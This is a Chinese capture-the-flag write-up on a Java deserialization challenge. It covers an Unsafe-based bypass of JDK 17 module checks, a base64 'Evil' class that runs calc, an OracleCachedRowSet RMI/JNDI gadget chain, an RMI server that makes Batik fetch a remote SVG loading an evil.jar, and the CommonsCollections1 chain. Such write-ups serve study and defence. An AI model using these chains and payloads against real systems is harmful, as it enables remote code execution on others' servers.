是01-05的一个比赛的题目。当时知道是用序列化,但没想起来反射这一个,所以没有做出来。假期休息了三个还是两个星期之后又回来研究这一个。
Pre
题目除了给了一个网站就是给了一个jar文件
大概猜到是使用java 反射和序列化相关。
jar 文件的处理
现阶段核心思想是,如何在jar文件上进行反射调用
- 在jar上直接进行反射调用
- 解析jar之后再进行反射调用
直接反射调用
按照之前学到的反射调用方法,直接通过路径调用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
public class SevenRings {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException, NoSuchMethodException, SecurityException, NoSuchFieldException, MalformedURLException {
// 使用 file:// 协议来指定本地文件路径
URL[] classloaderUrls = new URL[] {new URL("file:///D:/JavaOut_File/workshit/liveawayfromme/src/lib/jdbcc.jar")};
URLClassLoader urlClassLoader = new URLClassLoader(classloaderUrls);
// 通过反射加载 User 类
Class<?> clazz = Class.forName("com.example.jdbcparty.model.User", true, urlClassLoader);
// 创建实例
Object user01 = clazz.getDeclaredConstructor().newInstance();
// 修改字段值
Field namField = clazz.getDeclaredField("username");
namField.setAccessible(true);
namField.set(user01, "sue");
System.out.println("Updated username: " + namField.get(user01));
Field pswField = clazz.getDeclaredField("password");
pswField.setAccessible(true);
pswField.set(user01, "1234");
System.out.println("Updated password: " + pswField.get(user01));
}
}
|
结果就是,在第一步就卡住:“ClassNotFound”。后面的是否调用就没有必要说了。
根据记忆,在此失败结果基础上,还进行过的努力:
- 通过IDEA Intellj 导入jar
- 把jar放到
lib
目录下试图调用
- 修改JDK版本
毫无效果。
导入lib中的jar
贴一个试图导入lib中的jar的代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
|
public class Main {
public static void main(String[] args) throws Exception {
// 1. 获取主 JAR 文件路径
File jarFile = new File("D:\\JavaOut_File\\workshit\\liveawayfromme\\src\\lib\\jdbcc.jar");
// 2. 创建 URLClassLoader 加载 JAR 文件
List<URL> urls = new ArrayList<>();
// 加载主 JAR 文件
urls.add(jarFile.toURI().toURL());
// 3. 加载 BOOT-INF/lib/ 目录下的所有 JAR 文件
File libDir = new File(jarFile.getParent(), "BOOT-INF/lib");
if (libDir.exists() && libDir.isDirectory()) {
File[] libFiles = libDir.listFiles((dir, name) -> name.endsWith(".jar"));
for (File lib : libFiles) {
urls.add(lib.toURI().toURL());
}
}
// 创建 URLClassLoader
URLClassLoader classLoader = new URLClassLoader(urls.toArray(new URL[0]));
// 4. 读取 JAR 文件中的类
JarFile jar = new JarFile(jarFile);
jar.stream()
.filter(entry -> entry.getName().endsWith(".class") && !entry.getName().contains("META-INF"))
.forEach(entry -> {
String className = entry.getName().replace("/", ".").substring(0, entry.getName().length() - 6);
System.out.println("Class: " + className);
try {
// 使用 URLClassLoader 加载类
Class<?> clazz = classLoader.loadClass(className);
// 实例化类并调用方法
Object instance = clazz.getDeclaredConstructor().newInstance();
for (var method : clazz.getMethods()) {
System.out.println("Method name: " + method.getName());
if (method.getParameterCount() == 0 && method.getReturnType() != void.class) {
Object result = method.invoke(instance);
System.out.println("Result of " + method.getName() + ": " + result);
}
}
} catch (Exception e) {
e.printStackTrace();
}
});
// 关闭 JAR 文件
jar.close();
classLoader.close();
}
}
|
怀疑是不是压根就不能在jar上进行反射调用——网页搜索结果不靠谱还是AI更不靠谱?还是代码哪里写错了?
解析JAR之后反射调用
jar解析
- 创建jar文件
jar cf <jar-file-name> <files>
c
:创建新的 JAR 文件。
f
:指定 JAR 文件的文件名。
<jar-file>
:生成的 JAR 文件的名字。
<files>
:需要打包到 JAR 文件中的文件或目录。
- 查看jar内容
jar tf myjar.jar
- 提取jar文件
jar xf <jar-file>
- 提取指定文件
jar xf <jar-file> <target-class>
- 更新jar文件
jar uf <jar-file><files>
- 签名jar文件
jar cmf <manifest-file> <jar-file> <files>
m
:指定一个清单文件(manifest)。
<manifest-file>
:包含元数据的清单文件。
<jar-file>
:生成的 JAR 文件。
<files>
:需要打包的文件。
- 验证jar 文件
jar vf <jar-file>
在有了上述的前置知识之后,对jar进行解析
解析
1
2
3
4
|
//输出所有jar内容
jar -tf .\JDBCParty-0.0.1-SNAPSHOT.jar
//解析指定的文件
jar -xf .\JDBCParty-0.0.1-SNAPSHOT.jar BOOT-INF/classes/com/example/jdbcparty/model/User.class
|
部分解析效果如下:

被我选中单独进行解析的类文件是 User.class
,在后面的构造序列化数据中有重要作用
将类文件解析出来之后,就进行下一步的反射调用
反射调用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
public class ReloadAgain {
public static void main(String[] args) throws Exception, IllegalAccessException, IllegalArgumentException, InvocationTargetException, NoSuchMethodException, SecurityException {
//解析后的存放路径
File classDir = new File("D:\\JavaOut_File\\BOOT-INF\\classes");
URL[] urls = new URL[] {classDir.toURI().toURL()};
URLClassLoader classLoader = new URLClassLoader(urls);
//需要反射调用的类全称
Class<?> class1 = classLoader.loadClass("com.example.jdbcparty.model.User");
System.out.println(class1);
//根据类构造函数来构造constructor
Constructor<?> constructor = class1.getConstructor(String.class, String.class);
//实例创建
Object user01 = constructor.newInstance("1234", "Wonie");
//获取方法并使用invoke执行
Method getUserNameMethod = class1.getMethod("getUsername");
String username = (String) getUserNameMethod.invoke(user01);
System.out.println("Username: " + username);
Method setUserNameMethod = class1.getMethod("setUserName", String.class);
setUserNameMethod.invoke(user01, "Wonie Ruby");
}
}
|
这个代码就终于运行成功,达到了预期的效果
目前完成了反射的部分,还剩下序列化的部分,这里需要依照原jar代码文件中的序列化部分代码来进行编写——aka直接照搬。
序列化处理
分析一下
源代码
1
2
3
4
5
6
7
8
9
10
11
12
|
public static String serialize(Object obj) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(obj);
String payload = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
return payload;
}
public static Object deserialize(String payload) throws Exception {
byte[] data = Base64.getDecoder().decode(payload);
return (new ObjectInputStream(new ByteArrayInputStream(data))).readObject();
}
|
没有什么过滤。
由于也没有题目中的Oracle数据库的详细内容,所以后面就无法推进了。
重新分析
又过去几个星期,搜索了一下,有writeup了,
哦呵呵完全不一样。
JDK 17+的限制
JDK 17 开始对java使用Strong Encapsulation,任何对java.*
代码中的非public 变量+方法 进行反射会抛出 异常
参考
编写一个代码进行测试
1
2
3
4
5
6
7
8
9
10
11
|
public class twoHands {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
String evilClassBase64 = "yv66vgAAADQAIwoACQATCgAUABUIABYKABQAFwcAGAcAGQoABgAaBwAbBwAcAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAGAEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAoACwcAHQwAHgAfAQAEY2FsYwwAIAAhAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKACIBAARFdmlsAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAIAAQAKAAsAAQAMAAAAHQABAAEAAAAFKrcAAbEAAAABAA0AAAAGAAEAAAADAAgADgALAAEADAAAAFQAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQACAA0AAAAWAAUAAAAGAAkACQAMAAcADQAIABYACgAPAAAABwACTAcAEAkAAQARAAAAAgAS";
byte[] bytes = Base64.getDecoder().decode(evilClassBase64);
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
((Class)method.invoke(ClassLoader.getSystemClassLoader(), "Evil", bytes, 0, bytes.length)).newInstance();
}
}
|
得到报错如下:
1
2
3
4
5
6
7
|
Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to unnamed module @2e0fa5d3
at java.base/java.lang.reflect.AccessibleObject.throwInaccessibleObjectException(AccessibleObject.java:388)
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:364)
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:312)
at java.base/java.lang.reflect.Method.checkCanSetAccessible(Method.java:203)
at java.base/java.lang.reflect.Method.setAccessible(Method.java:197)
at drive.tina.hotbutwsu.twoHands.main(twoHands.java:14)
|
根据报错:
- 试图以反射的方式,去访问
java.lang.ClassLoader
中的defineClass
方法,该方法是protected final
类型
- 获得了
java.lang.reflect.InaccessibleObjectException
限制的原因
在JDK 17+的版本中,上述拒绝了调用的类方法触发的方法是在method.setAccessible(true);
这一句
setAccessible()
1
2
3
4
5
6
7
|
@Override
@CallerSensitive
public void setAccessible(boolean flag) {
AccessibleObject.checkPermission();
if (flag) checkCanSetAccessible(Reflection.getCallerClass());
setAccessible0(flag);
}
|
checkCanSetAccessible()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
private boolean checkCanSetAccessible(Class<?> caller,
Class<?> declaringClass,
boolean throwExceptionIfDenied) {
if (caller == MethodHandle.class) {
throw new IllegalCallerException(); // should not happen
}
Module callerModule = caller.getModule();
Module declaringModule = declaringClass.getModule();
if (callerModule == declaringModule) return true;
if (callerModule == Object.class.getModule()) return true;
if (!declaringModule.isNamed()) return true;
String pn = declaringClass.getPackageName();
int modifiers;
if (this instanceof Executable) {
modifiers = ((Executable) this).getModifiers();
} else {
modifiers = ((Field) this).getModifiers();
}
// class is public and package is exported to caller
boolean isClassPublic = Modifier.isPublic(declaringClass.getModifiers());
if (isClassPublic && declaringModule.isExported(pn, callerModule)) {
// member is public
if (Modifier.isPublic(modifiers)) {
return true;
}
// member is protected-static
if (Modifier.isProtected(modifiers)
&& Modifier.isStatic(modifiers)
&& isSubclassOf(caller, declaringClass)) {
return true;
}
}
// package is open to caller
if (declaringModule.isOpen(pn, callerModule)) {
return true;
}
if (throwExceptionIfDenied) {
// not accessible
String msg = "Unable to make ";
if (this instanceof Field)
msg += "field ";
msg += this + " accessible: " + declaringModule + " does not \"";
if (isClassPublic && Modifier.isPublic(modifiers))
msg += "exports";
else
msg += "opens";
msg += " " + pn + "\" to " + callerModule;
InaccessibleObjectException e = new InaccessibleObjectException(msg);
if (printStackTraceWhenAccessFails()) {
e.printStackTrace(System.err);
}
throw e;
}
return false;
}
|
这里在最后可以看到上面的报错信息生成处。
如果不是因为可能这样的地方存在很多,其实有个通用思路就是全局搜索关键语句定位——但是这个涉及到太底层的代码,这样的报错语句基本一致,所以断点调试是最佳方法。
获取到的信息
这里这段代码值得首先考虑:
1
2
3
4
5
6
|
Module callerModule = caller.getModule();
Module declaringModule = declaringClass.getModule();
if (callerModule == declaringModule) return true;
if (callerModule == Object.class.getModule()) return true;
if (!declaringModule.isNamed()) return true;
|
三个条件任选一个满足就可以返回True,后续代码也不用执行。
- 调用者类(caller)所属模块(module)和被调用者(declaring)的同属一个
- callerModule是
java.base
模块的Object
类的模块
- 被调用者的所属module是
未命名模块
——未命名模块(Unnamed Module)指的是类路径(classpath)中的类,而不是 module-path
上的类
根据参考中的解释,sun.misc
和sun.reflect
处于反射白名单。
那我们可以尝试利用Unsafe来修改当前类的module属性和 java.*
下类的module属性一致来绕过
Unsafe
美团技术团队-Java魔法类 Unsafe
要点:
Unsafe
是sun.misc
的一个类,提供执行低级别但可能不安全的操作方法
- 获取该类实例方法:
getUnsafe
- 通过反射获取单例对象
theUnsafe
- Unsafe类中有个
getAndSetObject
方法,其和反射赋值功能差不多,利用这个修改调用类的module——来自参考
1
2
3
4
|
@ForceInline
public final Object getAndSetObject(Object o, long offset, Object newValue) {
return theInternalUnsafe.getAndSetReference(o, offset, newValue);
}
|
代码参考
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
// 反射调用
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
//获得单例对象
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
// Object类的module
Module baseModule = Object.class.getModule();
//将指定的类currentClass的module修改成和Object类module一致
Class currentClass = Main.class;
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass, addr, baseModule);
|
这样就能通过checkCanSetAccessible()
的检查
上面的部分在于:
那么后面就是如何触发,也可以是如何将恶意类送到它该去的地方。
番外——通过Unsafe修改String x
这个是在整理declaredField的时候忽然想到的,也确实写成功了。只是为了方便理解,一般好像没人这样无聊 ^^ 就是写完发现另一个问题,如果不使用这种方法,怎么修改String x的value?
先看原代码:
AI写的,试图告诉我关于declaredField的作用
但如果仔细学了上面的内容就会知道,绝对是个错误的代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
import java.lang.reflect.Field;
public class Ys {
public static void main(String[] args) {
// 目标对象:x 的 Class 是 String
String x = "Act like Angle";
try {
// 1. 获取 x 的 Class 对象
Class<?> clazz = x.getClass();
// 2. 获取类中声明的字段(仅当前类,不包含父类)
// 参数是字段名,返回当前类的 Field 对象
Field declaredField = clazz.getDeclaredField("value");
// 3. 强制打破访问控制(允许访问私有字段)
declaredField.setAccessible(true);
// 4. 获取字段值
char[] value = (char[]) declaredField.get(x);
// 5. 输出原始字符串
System.out.println("Original String: " + x);
// 6. 修改字段值(需注意 char[] 是不可变的)
value[0] = 'a'; // 将首字母改为 'a' declaredField.set(x, value); // 赋值
// 7. 输出修改后的字符串
System.out.println("Modified String: " + x);
} catch (NoSuchFieldException | IllegalAccessException e) {
e.printStackTrace();
}
}}
|
运行之后就有IllegalAccessException
报错
使用unsafe
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
package drive.tina.hotbutwsu;
import sun.misc.Unsafe;
import java.lang.reflect.Field;
public class Ys {
public static void main(String[] args) {
// 目标对象:x 的 Class 是 String
String x = "Act like Angle";
try{
// 获取目标x的类以及字段(为了进一步得到得出laredField)
Class<?> xx = x.getClass();
Field xField = xx.getDeclaredField("value");
// Unsafe 通行证
Class unsafeClazz = Class.forName("sun.misc.Unsafe");
Field theUnsafe = unsafeClazz.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
Module baseModule = Object.class.getModule();
Class currentClass = Ys.class;
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass, addr, baseModule);
xField.setAccessible(true);
// 获取原内容
byte[] data = (byte[]) xField.get(x);
System.out.println(data);
// 方便打印出来看得懂
String result = new String(data);
System.out.println(result);
// 进行内容修改
byte[] newContent = "New Content Here".getBytes();
System.arraycopy(newContent, 0, data, 0, Math.min(data.length, newContent.length));
// 输出修改后的内容
System.out.println("Modified string: \n" + x);
System.out.println("Done");
} catch (NoSuchFieldException | ClassNotFoundException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
}}
//结果:
//[B@4d405ef7
//Act like Angle
//Modified string:
//New Content He
//Done
|
书接上回
RMI
根据参考中的参考——j1rry-learn blog
找到的说法大概是,JDBC在连接的哪一个函数中禁止了JNDI和LADP。
不过没找到。
给出的poc里面,结合数据库是oracle数据库:
1
2
|
OracleCachedRowSet oracleCachedRowSet = new OracleCachedRowSet();
oracleCachedRowSet.setDataSourceName("rmi://localhost:1099/Object");
|
把数据源名称设置为RMI链接,在反序列化的时候触发RMI远程对象调用
另一个关键的是,toString()
toString()
很新奇,这样的一个函数居然也可以。
找了很多参考,看得原本就疼的头更疼了。
bmth’s blog
首先向我们走来的是toString()
利用链之一的javax.swing.event.EventListenList#readObject
中的add
函数。
函数代码如下:

被断点标红的地方就是入口。
这里的toString
体现在,类型为Class<T>
的参数l或者t在被拼接到报错信息中的时候,可能触发toString
(actually,可能会有点不信,所以打算编写一个demo来验证。
demo如下:
1
2
3
4
5
6
7
8
9
10
11
12
|
class Person {
private String name;
@Override
public String toString() {
return "Person: " + name;
}
}
Person p = new Person();
System.out.println(p); // 自动调用toString
String s = "The person is " + p; // 自动调用toString
|
)
在此基础上,检查writeObject
的参数是否可控——可控才有机会把evildemobytes写进去交给readObject
反序列化触发。
writeObject

对传入的Object 强制转换为EventListener
进行检查:
- 不为空
- 属于Serializable
同时符合者进行writeObject操作
所以现在要去找一个类:
- Serializable
- toString
- 可以转换为
EventListener
上面的参考文章经过一番推理:javax.swing.undo.UndoManager#toString
具体的推理和寻找过程不算复杂就是比较费人。
从UndoManager
类的toString
方法入手,从里面涉及到的变量深入,找到可以进行操作的变量(类型不固定、内容不固定、无检查、有检查但可以绕开……)
最主要的关键是涉及了java.lang.String#valueOf
,代码如下:
1
2
3
|
public static String valueOf(Object obj) {
return (obj == null) ? "null" : obj.toString();
}
|
- 若
obj
为 null
,直接返回 "null"
- 否则,调用
obj
的 toString()
方法
POC
关于上面的东西如何使用。
OracleCachedRowSet
感觉java可以淹死人。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
```java
UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getSuperclass().getDeclaredField("monitorLock"),null);
Vector vector1 = new Vector();
vector1.add(0,"111");
Vector vector2 = new Vector();
vector2.add(0,"222");
String[] metaData= new String[]{"111","222"};
UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getSuperclass().getDeclaredField("matchColumnIndexes"),vector1);
UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getSuperclass().getDeclaredField("matchColumnNames"),vector2);
UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getDeclaredField("metaData"),metaData);
UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getDeclaredField("reader"),null);
UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getDeclaredField("writer"),null);
UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getDeclaredField("syncProvider"),null);
|
对于这几行代码属实有点暂时不去深入研究了。
但大概可以看出来是为了绕开OracleCachedRowSet
的一些限制:
- 解除同步锁
- 篡改数据匹配规则
- 重写元数据定义
- 禁用数据管道——构造不可逆的离线数据集
在那之后,把这个oracleCachedRowSet打包塞进POJONode
中:
1
|
POJONode pojoNode = new POJONode(oracleCachedRowSet);
|
似曾相识。或许大多数都是这样层层嵌套的吧。
just a note
1
2
3
4
5
|
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val); # 将obj对象的dField值修改为val
}
|
所以上述的poc部分(参考里面有完整版本)只是完成了让精心构造的对象在被反序列化的时候加载RMI触发RCE
那么放在RMI上与之绑定的RCE代码应该是什么?
RCE
svg files and java code execution
一篇2012的文章……
- 使用batlk framework实现SVG转换PNG
- SVG 1.1 和SVG Tiny 1.2 可以通过一些specifications去调用java代码,并且batlk支持
大概阅读完,
- 编写包含类似
Runtime.getRuntime().exec()
方法的paylaod类
- 在打包之前(if could)修改
MANIFEST.MF
中的一些内容,给予一些特殊的权限
- 打包成jar
- 在SVG file中编写
<script type="application/java-archive" xlink:href="http://somewhere/evil.jar"/>
导入jar
接着上面的内容,把存有导入恶意jar路径的svg文件与RMI绑定(参考中的):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
public class RMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry( 1099);
ResourceRef ref = new ResourceRef("org.apache.batik.swing.JSVGCanvas", null, "", "",
true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "URI=test"));
ref.add(new StringRefAddr("URI", "http://127.0.0.1:7001/calc.svg"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
|
那么,无论是作为RCE入口的RMI,还是作为触发RMI的调用链都完成。
到这里,唯一还不理解的就是,oracleCachedRowSet。
可能代码太多,有空我再看看。
这里面还有很多其他的参考链接都还需要看。
compare
对比一下其他的,比如CommonsCollections1
CC1 Overview
CC1使用的是Transformer链中链+HashMap
transformer
1
2
3
4
5
|
@Contract(pure = true)
public InvokerTransformer(
String methodName,
Class[] paramTypes,
Object[] args )
|
一个例子:
1
2
3
4
5
|
new InvokerTransformer(
"getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }
)
|
通过这个链条将getMethod
,getRuntime
,invoke
,exec
四个方法写入Transformer[]中
接下类又用自定义过的LazyMap来将 HashMap
和Transformer[]
绑定到一起:
1
2
3
4
5
6
|
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
// decorate方法
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
|
再接下来,引入CC1的序列化和反序列化中的重要的类public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
源代码是
1
2
3
|
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
|
几个函数的补充代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}
public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}
public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[ 0 ] = iface;
if ( ifaces.length > 0 ) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
}
|
过于抽象,通过举例说明:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
//demo
public class Say implements Perosn{
public void name(){
System.out.println("SAY");
}
}
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class SayInvocationHandler implements InvocationHandler {
private Perosn person;
public SayInvocationHandler(Perosn perosn) {
this.person = perosn;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("SayInvocationHandler");
Object invoke = method.invoke(person, args);
System.out.println("SayInvocationHandler DONE");
return invoke;
}
}
import java.lang.reflect.Proxy;
public class TEst {
public static void main(String[] args) {
Say s = new Say();
SayInvocationHandler handler = new SayInvocationHandler(s);
Perosn p = (Perosn) Proxy.newProxyInstance(handler.getClass().getClassLoader(), s.getClass().getInterfaces(), handler);
p.name();
}
}
// 结果
SayInvocationHandler
SAY
SayInvocationHandler DONE
|
整个demo所体现的最重要的一条:当调用接口的任何方法的时候,都会去调用handler的invoke方法。
所以结合源代码:
- 动态代理
- lazyMap是一个包含执行代码链条的map
- 包装成代理实例mapProxy,
- 调用触发其他调用
聚焦于Proxy.newProxyInstance
方法,三个参数分别为
- handler的getclass.getclassloader
- 接口继承类的getclass.getinterfaces
- handler
所以这里的理解:
Map作为接口,
获得的关于(ANN_INV_HANDLER_CLASS的InvocationHandler是handler
当Map的任何方法被调用的时候,包装了lazymap的InvocationHandler都会去调用自己的invoke方法
1
2
3
4
5
6
|
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
|
ANN_INV_HANDLER_CLASS也就是AnnotationInvocationHandler中的readObject方法会调用到Map的entrySet方法,
于是就会触发AnnotationInvocationHandler的invoke方法,也就是transformer[]中存入的那些。
END
对比下来,JDBCparty使用toString和RMI,被执行的代码并不复杂,复杂的是如何导入。并且是JDK高版本的内容,重点之一就是使用Unsafe获取访问java.*
中private角色的权限。
cc1是比较接近底层的evil code,把Runtime.getRuntime.exec层层封起来,再通过Proxy的有趣特性来触发其中包含的invoke方法进而执行evil code,针对的是低版本JDK比如JDK 8以下